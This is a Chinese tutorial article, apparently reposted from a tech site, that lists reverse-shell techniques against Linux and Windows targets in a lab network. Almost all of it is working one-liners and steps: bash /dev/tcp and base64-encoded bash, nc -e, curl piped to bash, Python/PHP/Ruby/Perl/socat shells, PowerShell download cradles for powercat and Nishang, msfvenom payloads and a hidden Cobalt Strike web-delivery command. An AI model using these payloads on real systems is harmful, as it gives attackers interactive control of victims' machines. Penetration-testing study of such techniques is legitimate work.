您好,登錄后才能下訂單哦!
這篇文章主要介紹反彈shell的方法有哪些,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
什么是反彈shell(reverse shell)?
就是控制端監(jiān)聽某TCP/UDP端口,被控端發(fā)起請(qǐng)求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell與telnet,ssh等標(biāo)準(zhǔn)shell對(duì)應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。
為什么需要反彈shell?
反彈shell通常用于被控端因防火墻受限、權(quán)限不足、端口被占用等情形。在滲透過(guò)程中,往往因?yàn)槎丝谙拗贫鵁o(wú)法直連目標(biāo)機(jī)器,此時(shí)需要通過(guò)反彈shell來(lái)獲取一個(gè)交互式shell,以便繼續(xù)深入。以下詳細(xì)介紹Windows和Linux系統(tǒng)下反彈shell的幾種方式。
實(shí)驗(yàn)環(huán)境:
Win10 192.168.2.102 NC監(jiān)聽
Kali 192.168.2.103 自帶工具
bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
在特殊情況可以使用base64編碼執(zhí)行bash反彈shell
編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
在kali中執(zhí)行會(huì)解析成編碼前的bash命令
nc -e /bin/bash 192.168.2.102 4444
-e后面跟的參數(shù)代表的是在創(chuàng)建連接后執(zhí)行的程序,這里代表在連接到遠(yuǎn)程后可以在遠(yuǎn)程執(zhí)行一個(gè)本地shell(/bin/bash),也就是反彈一個(gè)shell給遠(yuǎn)程,可以看到遠(yuǎn)程已經(jīng)成功反彈到了shell,并且可以執(zhí)行命令。
Kali開啟apache服務(wù),把bash命令寫入html文件,只要文本包含bash一句話即可。
curl 192.168.2.103/bash.html|bash
whois -h 192.168.2.102 -p 4444 `pwd` //反彈的shell只能執(zhí)行后面帶的命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php反彈shell和python的方式差不多
php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444
perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
①用IEX下載遠(yuǎn)程PS1腳本回來(lái)權(quán)限繞過(guò)執(zhí)行
使用powershell執(zhí)行IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.2.103 -p 4444 -e cmd
② powercat下載地址:https://github.com/besimorhino/powercat //下載到本地執(zhí)行
powercat為Powershell版的Netcat,實(shí)際上是一個(gè)powershell的函數(shù),使用方法類似Netcat
服務(wù)端反彈:nc 192.168.2.103 4444 -e c:\windows\system32\cmd.exe
Nishang下載地址:https://github.com/samratashok/nishang
Nishang是一個(gè)基于PowerShell的攻擊框架,整合了一些PowerShell攻擊腳本和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell
將nishang下載到攻擊者本地,在目標(biāo)機(jī)使用powershell執(zhí)行以下命令
IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444
攻擊機(jī)監(jiān)聽 nc -lvup 4444
利用上面下載的還是放在攻擊機(jī)上在目標(biāo)機(jī)中powershell執(zhí)行以下命令
IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.103/nishang/Shells/Invoke-PowerShellUdp.ps1'); Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.103 -port 4444
我們直接可以使用 msfvenom -l 結(jié)合關(guān)鍵字過(guò)濾(如cmd/windows/reverse),找出我們需要的各類反彈一句話payload的路徑信息。
msfvenom -l payloads | grep 'cmd/windows/reverse'
依照前面查找出的命令生成一句話payload路徑,我們使用如下的命令生成反彈一句話,然后復(fù)制粘貼到靶機(jī)上運(yùn)行即可。
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.2.103 LPORT=4444
靶機(jī)執(zhí)行使用powershell執(zhí)行payload
攻擊機(jī)返回shell
Cobalt strike的Scripted Web Delivery模塊,可通過(guò)bitsadmin、powershell、python、regsvR32等進(jìn)行反彈shell,類似metasploit的web_delivery模塊
①運(yùn)行服務(wù)端
./teamserver 192.168.2.103 123 #123為連接密碼
②運(yùn)行客戶端:
Windows運(yùn)行cobaltstrike.jar #用戶名隨便輸入 密碼123
③開啟監(jiān)聽:
點(diǎn)擊Cobalt Strike->Listeners
payload可選擇windows/beacon_http/reverse_http
說(shuō)明:其中windows/beacon 是Cobalt Strike自帶的模塊,包括dns,http,https,smb四種方式的監(jiān)聽器,windows/foreign 為外部監(jiān)聽器,即msf或者Armitage的監(jiān)聽器。
④生成powershell payload:
點(diǎn)擊Attack -> Web Drive-by -> Scripted Web Delivery
Type選擇 powershell
生成的payload:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.103:8887/a'))"
⑤生成代碼已經(jīng)給出了,在windows上執(zhí)行
以上是“反彈shell的方法有哪些”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。